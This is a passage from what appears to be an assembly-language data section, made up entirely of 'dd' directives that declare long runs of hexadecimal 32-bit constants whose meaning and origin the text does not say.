0EE0056Dh, 97C2C390h dd 5B708BD3h, 9146C09Dh, 0D021E3EAh, 12A47058h, 0C5CA218Ah dd 0CC69AD73h, 0AEA72803h, 972C6BFAh, 54DC563Ah, 77C33B73h dd 6E584CA3h, 4632867Dh, 8AC260A0h, 614A0F98h, 6449D0AEh dd 0FC72119Dh, 80B34F97h, 88CE0077h, 7C0C959Ch, 1E76D318h dd 4F0BBCB0h, 0D859822Fh, 73CFF7C4h, 1FBA18E3h, 49EF15C2h dd 619F29DDh, 0EDBC0358h, 0B7DD3698h, 2D686567h, 0E4215A22h dd 284A5CBh, 0F4B8A58Ah, 5D3A1209h, 0CE88DFF4h, 9F107439h dd 785C4ACFh, 3C615734h, 7E728B72h, 0E753D0B0h, 0BC620952h dd 0A9BB1906h, 0E9BA46D4h, 8A582312h, 0B88591CDh, 0D095F030h dd 4D8558AEh, 0EF14883h, 0D39A5D4h, 0A9BE856Bh, 0EBD86F65h dd 0D000EEA2h, 0E8FD2482h, 53058700h, 0A9BBC9CFh, 417D49BEh dd 0F784CE26h, 4BF2DC33h, 3BD0AF7Fh, 0BC1F6C77h, 3D8D175h dd 0E960C3B6h, 0CCD1C0BBh, 0BC5AB24Ah, 5B5E1622h, 1100B5E6h dd 288FAD5Eh, 0F5B0832Bh, 0B4976522h, 602CD68Eh, 0A8776EB2h dd 0E86F925Ch, 89B7DDE1h, 0FA43139Ch, 5F8EB32Fh, 0FF300CDBh dd 0EC71D3FBh, 0F5917111h, 27019D9Eh, 81D46DEBh, 43254861h dd 75F2F40Fh, 0E3A75EB3h, 0A827AF44h, 74A29848h, 97401141h dd 5034267Ch, 81C6AE23h, 163333F1h, 0F67A317h, 9B6F78D9h dd 1DCA4E7Fh, 0E70DC3D1h, 0B3B4C56Bh, 497D24DDh, 21E96B49h dd 959243DBh, 0D595451h, 0CC8A4C59h, 12CA8E9Fh, 0B1383604h dd 0B3BE06FEh, 80E7EA8Bh, 0F882A436h, 0BFEE4C7Eh, 0B49DADC6h dd 92E24788h, 33E9D837h, 52B1246Dh, 0F2ABF611h, 8567CE0h dd 0C5ED39Ch, 7728F9B0h, 0CDAB2877h, 0E435CC38h, 77F70ACEh dd 0D3903CF4h, 9887A6E6h, 7F3783EDh, 0C1D9B46h, 0EF73AE29h dd 0F792F16Ch, 89CEEC73h, 0BBA89466h, 70700CCAh, 0C16937F9h dd 0C650E6D9h, 0E1893A4Dh, 0E0AE6FD8h, 0C538167Ah, 0A56E4642h dd 0B8B034DEh, 29A04D07h, 0B143ABAFh, 4D8D08F7h, 32C37E76h dd 0CF1394ECh, 6C1D4693h, 5C0FC49Fh, 0D27AD63Ah, 0CF3ECB89h dd 404059Ch, 0FD884AC5h, 96150545h, 7636B438h, 0E0932C6Dh dd 42777BD1h, 58C34B87h, 3E3EEC4Eh, 0A39B012Fh, 9ADB6E0Dh dd 5267FF6Dh, 7F87B345h, 0B6E10EFFh, 126CB2F9h, 2B76A58Dh dd 47AA9D0Dh, 5B0EA29Bh, 0A2FC17DEh, 0F7E8C32Ah, 0A2743AB1h dd 35D6DE91h, 72E97294h, 0C3C6787Bh, 2B1CD5F8h, 7C2D1AECh dd 0F23D126Bh, 5B3B10F5h, 0EB26C8D7h, 0C616F0D5h, 450BEE88h dd 0E5561333h, 7EE4FB7Eh, 0CADD337h, 0E937B58Ch, 42A15CF4h dd 19F056F9h, 3EE71ED3h, 5B23F9A5h, 0D713E1CEh, 0FB4F5264h dd 0B77A3D3Fh, 0FD608AA3h, 4997C38Ch, 0BA546CA9h, 24ED8148h dd 9C24A327h, 1B5CFC21h, 2A315E84h, 0B5763526h, 0D22302EBh dd 3659E80h, 0C3FA71h, 7F0B1740h, 0BCB409FCh, 0C632D5BAh dd 1067A925h, 0CAE6D183h, 4E4F7352h, 8EC64BDCh, 0C08AF9F0h dd 0C0D7D7D3h, 8A2078A5h, 2B0CE6BAh, 0B0DA6AEEh, 81BA468Eh dd 0FBF01F0Bh, 0A7E0A3E4h, 1AFB6A05h, 7496F0BDh, 0D189DA31h dd 787F15B5h, 6554F602h, 0DF9D2355h, 743F39FAh, 0E52D3EE8h dd 2C95E859h, 0F162C596h, 90425247h, 0B770106Ah, 882C0171h dd 0B6B7F088h, 9B24C965h, 0FCA9293h, 534B641Dh, 90ECBB1Eh dd 0E068FAC4h, 0B1D48A59h dd 9D93F5D5h, 0D21F6267h, 2FBF00C4h, 0F7DC8478h, 0E08679BFh dd 0DB5653Ch, 8DCC9A62h, 8A5907AAh, 0D4325670h, 785C981Bh dd 679CDA34h, 9DD9F0F3h, 0B4F1CDC0h, 14211F26h, 2A9238D4h dd 1D43960Bh, 0D0464941h, 1654355h, 5A330988h, 9FB971C8h dd 742830D0h, 0ECC73A7Dh, 0BE272CD8h, 6FB7D90h, 4CB00EECh dd 0E3479AA7h, 0B28F1420h, 2FAA1C4Ch, 9C6E45FFh, 19BC1203h dd 70E82926h, 7C5F9236h, 2126DE45h, 5823C412h, 99C3390Dh dd 0F66C1B45h, 266290D5h, 324E3C4Ah, 0CFFD282Eh, 42FD3014h dd 4BB9AE7Bh, 55B3964Ah, 7BF637A0h, 58986524h, 0AE10EDF9h dd 38CFE0BEh, 598D2D15h, 40E9B46Ah, 105CA839h, 4F1FCA83h dd 6D3EA7E1h, 0A1A85403h, 0A3513E0Bh, 435C8A7Ah, 6A8E834Ah dd 0A51C77BCh, 128CA883h, 95D8CF27h, 80CA240Bh, 0D006A2FEh dd 9889974Fh, 44DB29FEh, 6CE46033h, 2F68484Ch, 860CC760h dd 180D0352h, 0C496D8B3h, 5D9E4063h, 1F4E8C17h, 3CE2C201h dd 0F774CE82h, 9811026Bh, 0A18C1E9Ah, 14538066h, 0E1EE50A5h dd 0DCDAB34Fh, 39EADB07h, 0E4996720h, 0B96A38ADh, 332932E0h dd 65560957h, 45BC7DEFh, 0A7EA7604h, 14CA1FCEh, 3E7C4BE5h dd 0DECDFC5Dh, 0ED90CF02h, 5B96762Ah, 4F488AACh, 7D395210h dd 0A72FEB7Dh, 291DDA99h, 1E329D6Dh, 9E128966h, 0CC943BF1h dd 0CDD875E4h, 78334FB2h, 86B48E5h, 4E8BE3A9h, 0ED03484Eh dd 0DDBEDA07h, 64A5AF05h, 8CEB872Ah, 0C1BA9606h, 0F23A2A2Bh dd 0C8E26976h, 1238B624h, 5B3C3417h, 0F9D5674Ah, 4C8EEBAh dd 9C513F1Fh, 6A5FA75Bh, 9B72F1B4h, 0AA69C222h, 869426F8h dd 2EC47306h, 81161210h, 2C56FF7Ah, 9271AFC8h, 2583DC2h dd 0C2065E4Dh, 0C01E45F7h, 9E100BDBh, 0D0E31B1Dh, 185FC010h dd 0B90D799h, 0C190FF5Eh, 1F0B25D2h, 0F2539D27h, 5AF5AF88h dd 4A0FEB0Dh, 59B7C16h, 2270C183h, 5F4A0813h, 0CEDAA6A0h dd 0FA42848Ah, 44C788ECh, 40BBAB6Fh, 121FBA56h, 0F59ADD64h dd 0D5D282F2h, 0A2F880CDh, 0DBA239E4h, 8C5A5F62h, 0E8A1B9C5h dd 1DABCF2Dh, 4FD89CC7h, 9A16A0Ch, 0FCF3632Dh, 1086AD0Ch dd 5904AF3h, 5133087Eh, 804E9C28h, 63363710h, 3856D14h dd 4869CDE2h, 0CA6CD938h, 918E4675h, 634996B8h, 26687E67h dd 11F8ED9Dh, 97BC935Eh, 9FCC994Bh, 0B875402h, 973E86A9h dd 0F568A819h, 0B2103149h, 0CD697EB4h, 5D2863C8h, 0AEB4152Eh dd 0F6C13E0Fh, 0EDB48957h, 0BFBB2A63h, 149FF6E6h, 0B42FF337h dd 5837AEDh, 5770F5EDh, 7B5A48BBh, 0ABB732C0h, 99308632h dd 5C0B1040h, 0A4254E36h, 0E9A659F2h, 0B90819DAh, 68C11636h dd 8E7B9273h, 71548D6Fh, 0F2161076h, 0F47A3F1Ch, 31DA8BCDh dd 384DE46Bh, 0EA6443DDh, 2FE53F94h, 96B9F5A6h, 90964A2h dd 0EF868BD3h, 26EDF134h, 0C5A378B0h, 3CA9C66Ch, 5BB39538h dd 318CE7Dh, 5ADE81B0h, 0E7AA043Dh, 5812528h, 3B951D5Ah dd 2D5BE2Bh, 280C8932h, 9962B130h, 97AE3DB2h, 737AD75Eh dd 0B9643167h, 3FFDE93Bh, 32CD094Bh, 0B15BFB0Bh, 0ABB559F6h dd 0EAE92Dh, 0EBBE984Ah, 0EF54F02Eh, 8872455Bh, 0C656FFACh dd 0A33AF1C6h, 838C2DCDh, 4740945Ah, 4DF6A8D9h, 0C245D37h dd 0C93E6ADAh, 2CB44B3Fh, 0C062A8F8h, 0C0911E25h, 0E89389FFh dd 0ABA006B7h, 0A89DC491h, 0D678BF5Dh, 0D9F7A01h, 7DA3963Dh dd 54112C6Fh, 5D4EFDCBh, 83BACE16h, 0E01CA4F0h, 0A431C7B3h dd 0B6178382h, 0FC7A7011h, 39A3E7E8h, 55F1516Eh, 0BEB49B55h dd 2F74FFB5h, 0F5DAFC78h, 0FD0FFC3Bh, 0EDC7E811h, 6B67BFFEh dd 8962470h, 0F71640FAh, 60E0E8Eh, 17AF9B8Ah, 29B9FD46h dd 0E700106Fh, 0AB7D09E0h, 995D6766h, 0BF82F52Ah, 5840DCBDh dd 677C96C6h, 0B2DD4338h, 0EA6DABEDh, 0E3E0EAACh, 21DA66C6h dd 2A859A99h, 0B5EAB2E0h, 0A3BFAE7h, 2406EB7Ah, 0A80F4AEDh dd 0CBC8F5A2h, 0BF0DAD16h, 524B5172h, 33134E7Dh, 0A3A616E4h dd 7CAC6B09h, 0AFCD9CDDh, 29571F19h, 38363945h, 0B70CB63Ah dd 3B1CE653h, 0A74FA677h, 65467761h, 9CD46AB3h, 5232AA14h dd 32EAC014h, 1391427Fh, 0A6D109E8h, 24B5B7D8h, 94D8C8A2h dd 30C76B5Ch, 0AB07D45Dh, 847F9B8Ah, 2BA31286h, 0B36FDA02h dd 933ACB9h, 26BC072Fh, 0FCF50CFFh, 0B36F03AEh, 9E1D1DEh dd 0D171809Bh, 8F667727h, 0A57F2B24h, 0F9C45FE2h, 0FE1B257Ah dd 15278D85h, 0D147659Ch, 0D2498663h, 1F616299h, 20EBCAE3h dd 0CBAD4B5Dh, 31A67FB9h, 38A195D8h, 0CA5BEF2Ah, 41293E15h dd 19F33947h, 747EEA2Bh, 28B332F1h, 0D284199Ah, 0B445F33Fh dd 0A1D6AC12h, 776699F1h, 7E2F2102h, 2AAE010Ah, 53E57FD5h dd 4D7D7F51h, 1B647745h, 157405C9h, 5D2CE9AAh, 6FFEB559h dd 8169C9A2h, 0B32658D6h, 16A127FBh, 215B5C25h, 0F5854CB2h dd 770A507Bh, 0EFEFFFEh, 0AD9309C8h, 0A41C757Bh, 0FADC3414h dd 98DDF864h, 35308039h, 0CE07AF96h, 514C82ECh, 0FFB6E1B6h dd 0BB5D95F6h, 23D59C56h, 0EC16CE1Ch, 58A1F73Ch, 9D362D12h dd 0EE62629Bh, 8C965311h, 0D49C8750h, 3E206107h, 839E4A75h dd 0FBC19E3Bh, 0AFED3581h, 0E25ABB33h, 6B3A928Fh, 0BD073FD0h dd 39F1FC5Bh, 0E4A8D6E4h, 0F8391E37h, 2EFE3FF8h, 0C47B125Fh dd 58D27CA5h, 6B7C0E07h, 0A4E9D4DAh, 40C7D694h, 4E01E392h dd 0DA6F408Eh, 46EC0A32h, 487F8F7Ah, 875BFFEFh, 0A77081CEh dd 0ED6AFCC0h, 0A36C7227h, 3C9AD008h, 4B3B5529h, 8A91E429h dd 0D844C4ABh, 42217575h, 619ADA36h, 3E9B8B70h, 1F311C76h dd 0E4E21174h, 0F36B0070h, 0AC24B81Dh, 0A6998E8Bh, 2027E676h dd 208A6DBDh, 0D85850A0h, 87FE24B5h, 4A37418Ch, 0FDCCD99Eh dd 793B75D9h, 4EB7B165h, 149EC322h, 59846DCAh, 9F9F5079h dd 7DDBFA37h, 0D56DFF54h, 0B85489FEh, 0BCEDD4Ch, 0EAAB66DEh dd 42FF0550h, 4A253089h, 5CFEF820h, 2B64B424h, 1CF149E1h dd 80EEFD5Eh, 12367EB4h, 5A039DBEh, 0DFC78292h, 48B06D5Ah dd 7F588B66h, 0B117F0FAh, 43DF1172h, 0EF368E0Fh, 776A6977h dd 0D097D1ACh, 0ABD7C8A3h, 906B6DF0h, 35B12EF0h, 6F87CCBh dd 0C2A91A1Ah, 185729C6h, 0A537D38Dh, 952876B9h, 8914E163h dd 0FE172D5Eh, 35ADF2B3h, 0CA81E91Ah, 50309916h, 81F3B2F1h dd 0D43538F2h, 2378B8A7h, 84AEB7A5h, 0A41CAAD1h, 0B5010636h dd 7FEE8915h, 6A17CE24h, 0B4EE2B82h, 486535DDh, 7ED46393h dd 0BE8CA3B9h, 0C7A0905Dh, 256E55A1h, 0B4718C42h, 325618CDh dd 0C83EBA79h, 5A131B9Ah, 0FE87624Dh, 1622F4BAh, 0C84411AEh dd 0DB6CCAB5h, 0CE42D45Eh, 0EC344826h, 0C8181085h, 0D0F666B0h dd 0DAD5C834h, 6F894A4Ch, 328A1D97h, 0F4702ABBh, 0A8370F86h dd 3B424A4Dh, 8BBF9927h, 9F3DCF41h, 31ADB6C0h, 0FAE33D9h dd 0F589D44Fh, 0C747F759h, 3A120ABCh, 8C34A541h, 11FF3BEFh dd 0DEE6159Ah, 480C4774h, 681B7702h, 2C367C67h, 23845B26h dd 0CECCEBE3h, 3EDD6E08h, 2F4A0400h, 4A61F019h, 0C7BBCDDDh dd 0EBFADAA3h, 0D6353160h, 9B621E92h, 0F64DBE37h, 3790331h dd 0E77D8EB4h, 0EA225B98h, 0A5C0BEA1h, 16410F98h, 3603B948h dd 0C94C1A2Ah, 2C54D91Ah, 0F6AD5719h, 5CE7E931h, 40366C0Fh dd 0BAA6F2BCh, 65EF580Ah, 0D10B4E10h, 334A2F22h, 437713F9h dd 386988A9h, 0ECD7D70h, 5363F2DAh, 0A02C0D99h, 2D2BA737h dd 3201EFE8h, 58FB85C2h dd 0C69FC3E7h, 4C1F60Dh, 5E7D88CCh, 0B98A74F4h, 967C001Ch dd 0C9BE8FEDh, 4447A92Dh, 0E124F170h, 239D2555h, 0FC34201Fh dd 8B266325h, 50C85E85h, 0A5AFE9C2h, 2C6943C5h, 37BA5467h dd 2DA8E396h, 81F20EBAh, 0A97489DBh, 2F08FE03h, 0AEB925F2h dd 7481DBCh, 56BA3469h, 574A0D90h, 9514513Ch, 0CC3F2CF3h dd 297B60AEh, 685FD4DFh, 5B8300C8h, 2C104F1Fh, 0C2606316h dd 0AE28845Bh, 2BCC9A66h, 6028437Ch, 8FE460B0h, 1BF4827Eh dd 49FEB085h, 48D0E7B2h, 69597BB2h, 0EF7BF58Fh, 0B218170Ch dd 0BC55CEACh, 0CA1BCB11h, 0B06E3F0Fh, 0AB35C1C3h, 59EB18B5h dd 0E596C90Ch, 66599A4Dh, 9CBEA578h, 0F23A02BDh, 0C2DBDE9Bh dd 98842F77h, 6EAA4722h, 0CA4D8201h, 0FD18BA5Bh, 440FF2DBh dd 8E75209Fh, 0E671CC15h, 0B2E8B0E2h, 0C24E83BCh, 0BF812B05h dd 96B9EDC9h, 27FA3E99h, 95464B8Eh, 4EE0CBC9h, 9AA2FBCDh dd 0B0AAF579h, 0D1B45C70h, 23D9C8B9h, 10BF6843h, 98771876h dd 0BA03ED4Fh, 6AEEA3F3h, 251CE0C0h, 5652D8FBh, 37FA0933h dd 0BBD6D5C8h, 0B8E4D483h, 85C2C428h, 6793F458h, 0CD0F7FCh dd 52EBC8BAh, 0B7F8D495h, 38A2A539h, 9B417537h, 0AD3EC7BEh dd 3ECAE6EBh, 0F3F59B5Fh, 48A54526h, 6A9F3CB1h, 9D08849Fh dd 9C1A6A4Dh, 6FAE18AAh, 0D68F606Fh, 98C0D0C5h, 1B2B1CA0h dd 0F49B23E1h, 0DC006916h, 5EEFD917h, 0AECEAC40h, 3AC54E4Eh dd 0EE3461FEh, 0BEE6CC45h, 2D6815FDh, 7603CDA7h, 0C0E54673h dd 47F84E8h, 0ED7DD543h, 0E0564C44h, 0B74EBEF2h, 6BF781C3h dd 7D60E2C7h, 51566EC8h, 5D1375CFh, 0D9ACD553h, 1AA762E1h dd 3F5C5A65h, 0F35C2148h, 0F6778E90h, 7A42CCBCh, 0F119369Fh dd 0FC3A9916h, 3BC46847h, 0DF8CE391h, 24C704Ah, 46DE42C1h dd 0F4012154h, 0CAF21110h, 6B6D831h, 869D668Ah, 4FA5A802h dd 7234C96Dh, 4E78A1D7h, 64760809h, 82761B68h, 1F8D8869h dd 13FAB980h, 3FC6C147h, 0B50D26AEh, 908E3975h, 0A875DB22h dd 8D1A4DE8h, 8427A04Fh, 8842953Ah, 827BE028h, 0A9BDF340h dd 0EACE813Ch, 0CC650FC8h, 6AD6EA67h, 2F4E0AFEh, 0B01C54EAh dd 76B2B1CAh, 0FECA1C21h, 0F3B23201h, 9AB4C4C7h, 0EBECD43h dd 0DD30FDB1h, 669D77Bh, 724DBA7Fh, 408295D5h, 39EB6EFEh dd 0AEEE8EDEh, 0FD0E7141h, 2C2FB98Eh, 0F93337FAh, 0A802950Eh dd 9457AB71h, 3275CF3Eh, 0F4876194h, 1DA2F44Ch, 0CC52B628h dd 904C561Fh, 4A007061h, 0E33AC9FDh, 7B831E30h, 0B52E3763h dd 15D4B426h, 7741184h, 67ACD5BEh, 8E17549Bh, 13338F7Bh dd 1B1EAB5Bh, 5EB016BAh, 7C497DFh, 71D0F8E5h, 0C3539255h dd 6C83549Ch, 0A3CC60D1h, 0FE96EECFh, 74FDADB5h, 3571DC8Fh dd 0FCB8EFC9h, 1C83E819h, 2F251881h, 249A49D2h, 0C826851Eh dd 3A4C7264h, 93E61E40h, 50441EDBh, 0F56F637Bh, 0FB3E416Bh dd 3ADDD6A0h, 31E1A412h, 1160EC2Fh, 0D2AB8410h, 6101578Fh dd 32409291h, 0ACD99CE8h, 81FB9E2h, 0B917E8FBh, 1180C6Ch dd 9DD6661Bh, 80CA31C9h, 0CA400350h, 3B5F90A0h, 95AA5BF0h dd 16AEE0B4h, 25A192E9h, 34978B6h, 27E42CDAh, 527480AFh dd 0A73DDC18h, 0C4C9C79Bh, 85301AC1h, 0AC5983BAh, 0B7FB9C9Eh dd 67CA54F1h, 0DFCE1CC3h, 4692551Fh, 81C04884h, 2B4BFC37h dd 90B65B30h, 5F5CDCACh, 502F550Eh, 0AE99335Dh, 69298491h dd 14662D71h, 8853D6F3h, 0BF55EAFh, 19965D73h, 0DB0B746Eh dd 757DF77Eh, 8C4CB3A7h, 0FB1901A2h, 9ABC7CBh, 0E185A821h dd 11E1AAB5h, 0DF65482Ah, 5144F4E5h, 36BAA1D8h, 27D32675h dd 29298C7Bh, 1F754683h, 0C91A371Fh, 531BF6DDh, 0B8116395h dd 0FE3D677Bh, 0BD3AE0AFh, 0D7A1228Ch, 0F39AA5EBh, 0BB205E49h dd 0DD471C55h, 0CDD24BE8h, 61A860A9h, 3B14B3E4h, 0AC068019h dd 92110C8Ch, 176E4EE1h, 24AED70Bh, 0FCFA482Fh, 0B761723Eh dd 4D2CAEE1h, 2EBC0041h, 3B9B5F34h, 0AF511EAAh, 0F1E745ABh dd 0FB93E683h, 3BAF2595h, 8B54B586h, 0E9623DC1h, 0D4C89150h dd 0CBB069B7h, 4F871B7h, 0B49B2B0Ah, 0DBBE6D58h, 8FB99210h dd 0C7703142h, 34DDC72Dh, 152C4097h, 7BB53403h, 888C7846h dd 90E2425Ch, 0E60E6959h, 29AC8599h, 530B590Fh, 5E594F15h dd 6159CB15h, 3C9D2E78h, 1D5021A1h, 2FC06836h, 0A11DF63h dd 0EE19C54Dh, 0AE813CBCh, 52F11294h, 45E10987h, 0E96FD607h dd 8D4D7A70h, 9D0BDA1Bh, 38ABD2A2h, 0AE81CCBAh, 2617558Eh dd 87EAD986h, 0E46E1D9Ch, 8B83398Dh, 0FCB840BCh, 0BB0953EFh dd 65EE290Eh, 6039231Bh, 9ADD9C8Bh, 407E7F0Fh, 0E296934Bh dd 0F474EABAh, 843F6070h, 0A800A3A4h, 57B630F8h, 0EC8200DBh dd 35504007h, 54679838h, 23AE737Fh, 4EB9A021h, 0ED30482Fh dd 8886834Eh, 8C2216Fh, 0C635FA46h, 5F3150F5h, 44F3AA3Ch dd 0B1ECF6D4h, 0D226C3B1h, 57D11164h, 6C97F5AAh, 0B47AA632h dd 9B667B8Eh, 0FFE08AEFh, 8263CCBAh, 792EC83Dh, 391F82Fh dd 0D0851D6Ah, 6346E171h, 0BB8F7419h, 0ECB0E230h, 0D63417E4h dd 5145A620h, 2B652FF8h, 1D37E575h, 0A269C815h, 91E5495Ch dd 0C73971BAh, 0FAC76E74h, 2AE7FED0h, 0DA5DDF12h, 0F573421Fh dd 75D61464h, 92E465D8h, 929BDA54h, 5ECC2589h, 5D1B670Bh dd 9DCF4F85h, 0F69C2FB4h, 481010C1h, 0FD1BF203h, 0BDE67F90h dd 666A2B87h, 251A99EEh, 6108F451h, 8E5891FCh, 4B558BE1h dd 1DD665B6h, 950E6BE5h, 4FCAFA5Fh, 5DC92C9Fh, 4E91CC66h dd 0BA1C777Ch, 3C9B1B85h, 0C8825D3Bh, 0BF3FAE2Fh, 9C5E1B4Ch dd 6C080B7Dh, 53C69187h, 2467ED06h, 28C3FFCDh, 9D81A1F6h dd 0DF6174E2h, 97DE0FD3h, 59FB4B36h, 0AC728809h, 0EA123659h dd 23BE24CCh, 0B6DB70E5h, 20591AA9h, 9B3D4166h, 4219FB54h dd 87AFE1E0h, 80690517h, 0EADD436Eh, 618493BCh, 0EDBB2987h dd 98DC0B3Ah, 0F9A9DD63h, 0FBE04D83h, 0AD3A5F71h, 7DBE3A4Bh dd 6E8C7F8Eh, 9B360F11h, 627238B1h, 0B9D72AFh, 0D51F616Ah dd 535034CFh, 0FC90B828h, 53A2AF22h, 0B370A488h, 39E80178h dd 3B9E25D5h, 0C3D536C2h, 3C81DFF4h, 38496E58h, 8ED1832Bh dd 48340972h, 8B200ACBh, 117C0DBFh, 0C68C8C75h, 0CB742498h dd 905C0E2Bh, 46E0F222h, 4644D30Ah, 24BFC63Fh, 0B76B63FFh dd 1A55CB1Eh, 95A7A28Fh, 0EDED2E3Bh, 4244F1C8h, 4D4281A6h dd 423A8BD6h, 2D5796D6h, 0E95D246Dh, 95F5507Eh, 77D6DE2Ch dd 92904FD9h, 73C03946h, 2701D59h, 0B122BF0Ch, 560ED12Dh dd 0FF91EED5h, 7077F09h, 2B664EDCh, 0E4B6E279h, 0ADD244C8h dd 18C3F014h, 4E762320h, 9C1B2CE9h, 5ACBDBE8h, 5A0FA24Ah dd 0EF291A24h, 4B9092AEh, 7FFDE31h, 5366C9A3h, 0FB3BE7E9h dd 0FFE4157Ah, 3FD0046h, 43AEF40Fh, 0AF10070Dh, 0B401C30Eh dd 71EF79B4h, 61F55A9Eh, 0B73C5A86h, 665E78B1h, 56B1D69h dd 0D5F6E1AEh, 869295A5h, 77774ECh, 0B0B9BE06h, 556F93A2h dd 33FA42F7h, 0F157572Fh, 0E12B14BAh, 0CE4F15ECh, 0FB75DDDEh dd 0CCF0971Fh, 448D5AF8h, 0B41B952Dh, 0DB341CF8h, 0D2B89053h dd 1AF56767h, 0AF93FBBAh, 83C5C31Fh, 0A07F48ABh, 0B2472D69h dd 5F780DFBh, 0D30C26FAh, 0E6AD2B36h, 361AEA6Dh, 400C3B2Ah dd 70F70A78h, 1F3EEDDDh, 903DCB98h, 64692A82h, 0D17DDBEFh dd 46CCB52Bh, 0FA3C71E4h, 12D7BF5h, 0FC4A5020h, 0C94163A2h dd 58CE23E8h, 2ABCF6AEh dd 0B5D28111h, 0AA60CA70h, 3B776B6Ch, 5272226Ah, 0F100FEDh dd 34E0D42Ah, 3A5F41A9h, 0A40A2A61h, 1E34168Dh, 0EA91785Bh dd 0CBA0D149h, 0B2DE9997h, 1F096D56h, 17720FB8h, 23BAC2B1h dd 613D660Dh, 6BC58BCh, 16C66C5h, 7C8BBD08h, 8783E432h dd 94048E11h, 77B84471h, 4DC8C2F8h, 9515EB2Ah, 28E575h dd 5EABAE72h, 91B223DEh, 0D67E1167h, 75649AACh, 32FE9B95h dd 545C2351h, 768603CCh, 4A5F2DD5h, 0C3BD5715h, 9534BC4Bh dd 0BF7C3DF3h, 0D65328A6h, 255066E6h, 6389D213h, 1443262Ah dd 0A0C3FF7Bh, 4C0261F9h, 0D710B32Fh, 0A7FB0D18h, 0A59B2553h dd 1EAC8C6Fh, 4E3E6AAEh, 8E4D1C5Bh, 926ECAFEh, 0D668764Ch dd 0C0ACBA2Ah, 6F669E7Bh, 843D2A96h, 914E440Dh, 0D7B6CB41h dd 63915DF2h, 0DCB43DA2h, 45689BBDh, 0D25536CFh, 0BC451E2Dh dd 2CCEB948h, 4B90B20h, 81AD94A8h, 6C42E002h, 30A007Dh dd 368AA93h, 0DB4688DFh, 55014751h, 8C0278C5h, 0FC4E968Eh dd 324DA9E4h, 6598A6E1h, 0F401DEE6h, 162304D6h, 73D72E7Fh dd 0BC4E81A1h, 0C7A2D34Ah, 6B04CCDBh, 0A9C452A4h, 0FF04F14Ah dd 0E59AD43Bh, 0DCEE5ACBh, 79507F00h, 8A0F25D3h, 0A85D8453h dd 0BDFE18B0h, 430A99DDh, 0D9B03CC1h, 0AA6E9214h, 55D19535h dd 42F170FAh, 0B7C48F34h, 78D298DDh, 0DDF3B0E2h, 0BDF9046Ah dd 67F467D4h, 864ED3D7h, 162E8554h, 2A2B2767h, 7A2E0EBFh dd 0CA96B9Ah, 72F6C24Eh, 0D2242941h, 7D71CFA2h, 0B6F1C2h dd 0CEDA01C6h, 5B8AA01h, 0BEC3EF20h, 1E62D5D8h, 0B8EF6615h dd 0E4542B2Eh, 0FD30FA97h, 0E3149BF2h, 8EA2772Ah, 77C2B5FEh dd 3E2C2438h, 6340CC01h, 4D5CBA15h, 144DEF41h, 58EABC13h dd 8576A9CEh, 97E51BF9h, 0F1128680h, 0F54CB3C0h, 0D46AE4FAh dd 0BC73E95Dh, 0EAF5611Dh, 0F7D7AFAEh, 8904A6h, 31E7D558h dd 5BB1A470h, 24526C7Ch, 0C65FA70Fh, 0BE7D872Dh, 7E50B4Ah dd 35DEE265h, 43EE1E3Eh, 66DD9DC2h, 293627C6h, 237FE8ECh dd 0C5FDF46h, 6B9EDF7Bh, 0B89A3EF9h, 0BE01E601h, 0B366142Bh dd 4613949Ch, 3038DC43h, 0C560109Ch, 0F491D8EAh, 0FEC54781h dd 80C226Ah, 63255FF9h, 5BA4BF41h, 0FD936A3Ch, 75333C88h dd 0BFCEFDC8h, 87D8E348h, 819AEC66h, 26BD246Eh, 0CB2EA6E9h dd 3DC72D1Ah, 0D3A359D9h, 7664632Bh, 1926437Ah, 68E06637h dd 1BFC3ED1h, 0FD063C35h, 49C55986h, 440DF907h, 0C470D508h dd 76FFC73Ah, 189C4247h, 4C92C21Dh, 0E74B037Ch, 38AAF4F5h dd 0DC53615Bh, 0F79480EEh, 589E8274h, 630C940Eh, 0F4270F98h dd 0DF0586B6h, 4BA519Ah, 0BC49C172h, 0AD89B2F3h, 0DFB3DAFFh dd 8A360F12h, 0F955F988h, 42CBD5F1h, 5F243C92h, 0D2729244h dd 2699E972h, 150B1208h, 0C88B4E83h, 0D2BA9BB0h, 82B81CE4h dd 0ABA85434h, 54558E4Dh, 2A41B802h, 48679E08h, 0A1754234h dd 0BE3F59E6h, 0E1B61961h, 0E61A5516h, 4124D0h, 0DDA7D498h dd 111F35DAh, 0AB4D2F3Ah, 1C9BB118h, 4B50AA54h, 0DEE0ACEAh dd 0E0C6B7B2h, 0F9438A26h, 407F665Fh, 88715D2Ah, 41AD76C6h dd 0ECB3F725h, 1A41617Bh, 8A8C644Fh, 0BF0DF0E5h, 1FE2697Bh dd 1C043EDEh, 17704157h, 15320DDAh, 0FF09B998h, 72E5B0ECh dd 0E0DBA14h, 0C8AB9E65h, 0D9F2C77Bh, 77901862h, 7822AB08h dd 0E7D87EF3h, 8D706F13h, 0DC20DA5Bh, 0B0F2256Bh, 6594599Fh dd 525F4AA0h, 27996EA6h, 9846B146h, 2C3360C8h, 0AAE2339Dh dd 740557E3h, 0B471E47Ah, 8BC63E4h, 0F2A7650Fh, 73BEF0D9h dd 7D01002Bh, 0AA1337E8h, 0AA5D15BCh, 0E4C8BCC7h, 44824FA3h dd 0FD81B806h, 0CA40551Ch, 40F6EAB7h, 6984ACDDh, 647D7162h dd 1B2EB3C7h, 0FCC2BC1Eh, 0F9AC21E9h, 93E7A8E1h, 798FDDC3h dd 0E1E272F8h, 2E233428h, 60953FD7h, 0BEFC483Eh, 6F8EF726h dd 4F507EB3h, 2F3387D6h, 494B57CDh, 2E213C88h, 0A1B8A2AEh dd 0DDA7FD68h, 8E05E10Eh, 0E6CE8E9Ah, 43338B44h, 0DD2681F1h dd 5FC08EF4h, 92E10E2Ch, 90CB8D6Dh, 6ECE3269h, 48A0FD75h dd 0ED334874h, 0E852D7B8h, 0CB0A600Ah, 2F27D2DCh, 0F40F0E82h dd 21E0BA4h, 0CA9240A9h, 696815E4h, 1FF965DCh, 4B188537h dd 8B9E0B41h, 3CC2CC81h, 9FCEB593h, 0F67D94B7h, 4C291DFFh dd 371B6C14h, 404B7364h, 533B2210h, 2865A6E8h, 0BB5CEC82h dd 8F5B6B19h, 51D33557h, 7DEF41A8h, 53DEDEDh, 0D1764506h dd 0EFBB170h, 814BF78Ah, 95C33ADAh, 29DA7297h, 46469E4Dh dd 7841380Ah, 0F9167FEAh, 1A04F406h, 2B59C50Bh, 758DEF2Ch dd 91DC630Dh, 6D325375h, 9B8CA6FBh, 84FBCEDEh, 4CA277C8h dd 68DD2AD9h, 